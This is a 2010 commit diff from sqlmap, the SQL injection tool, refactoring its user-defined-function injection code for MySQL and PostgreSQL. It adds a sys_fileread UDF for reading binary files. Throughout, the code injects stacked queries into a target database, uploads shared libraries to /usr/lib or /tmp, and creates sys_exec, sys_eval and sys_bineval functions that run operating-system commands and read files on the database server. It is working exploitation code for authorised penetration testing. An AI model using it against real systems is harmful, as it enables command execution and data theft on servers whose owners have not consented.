--read-file on PostgreSQL now relies on the new sys_fileread() UDF so that also binary files can be read.

Fixed a minor bug in custom UDF injection feature --udf-inject.
Major code refactoring.
This commit is contained in:
Bernardo Damele 2010-02-11 22:57:50 +00:00
parent f728208ff7
commit 89dc99188d
9 changed files with 63 additions and 100 deletions

View File

@ -157,7 +157,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInjectCmd()
self.udfInjectSys()
elif kb.dbms == "Microsoft SQL Server":
if mandatory:
self.xpCmdshellInit()

View File

@ -35,6 +35,7 @@ from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
@ -89,21 +90,23 @@ class UDF:
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_exec"
cmd = unescaper.unescape(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_eval"
cmd = unescaper.unescape(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
@ -116,23 +119,29 @@ class UDF:
return output
def checkNeededUdfs(self):
def udfCheckNeeded(self):
if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:
self.sysUdfs.pop("sys_bineval")
if not conf.osCmd and not conf.osShell and not conf.regRead:
self.sysUdfs.pop("sys_eval")
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
if not conf.osPwn and not conf.regAdd and not conf.regDel:
self.sysUdfs.pop("sys_exec")
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin"
def udfSetLocalPaths(self):
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
@ -157,6 +166,11 @@ class UDF:
self.udfCreateSupportTbl(supportTblType)
def udfInjectSys(self):
self.udfSetLocalPaths()
self.udfCheckNeeded()
self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
@ -286,7 +300,6 @@ class UDF:
if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
@ -314,16 +327,13 @@ class UDF:
while True:
choice = readInput(msg)
if choice[0] in ( "q", "Q" ):
if choice and choice[0] in ( "q", "Q" ):
break
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)

View File

@ -535,6 +535,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# paths are writable by mysql user by default
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
@ -549,20 +560,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
self.checkNeededUdfs()
self.udfInjectCore(self.sysUdfs)
def uncPathRequest(self):
if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)

View File

@ -62,18 +62,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type
"sys_exec": {
"input": [ "text" ],
"return": "int4"
},
"sys_eval": {
"input": [ "text" ],
"return": "text"
},
"sys_bineval": {
"input": [ "text" ],
"return": "int4"
}
"sys_exec": { "input": [ "text" ], "return": "int4" },
"sys_eval": { "input": [ "text" ], "return": "text" },
"sys_bineval": { "input": [ "text" ], "return": "int4" },
"sys_fileread": { "input": [ "text" ], "return": "text" }
}
Enumeration.__init__(self, "PostgreSQL")
@ -301,40 +293,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved"
logger.warn(warnMsg)
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
self.initEnv()
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
result.append(chunk)
return result
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
@ -429,22 +393,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@ -469,8 +418,20 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
self.udfSharedLibExt = "so"
self.checkNeededUdfs()
self.udfInjectCore(self.sysUdfs)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")

View File

@ -285,12 +285,7 @@ class Filesystem:
fileContent = newFileContent
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
fileContent = self.__unhexString(fileContent)
elif kb.dbms == "PostgreSQL":
fileContent = self.__unbase64String(fileContent)
rFilePath = dataToOutFile(fileContent)
self.cleanup(onlyFileTbl=True)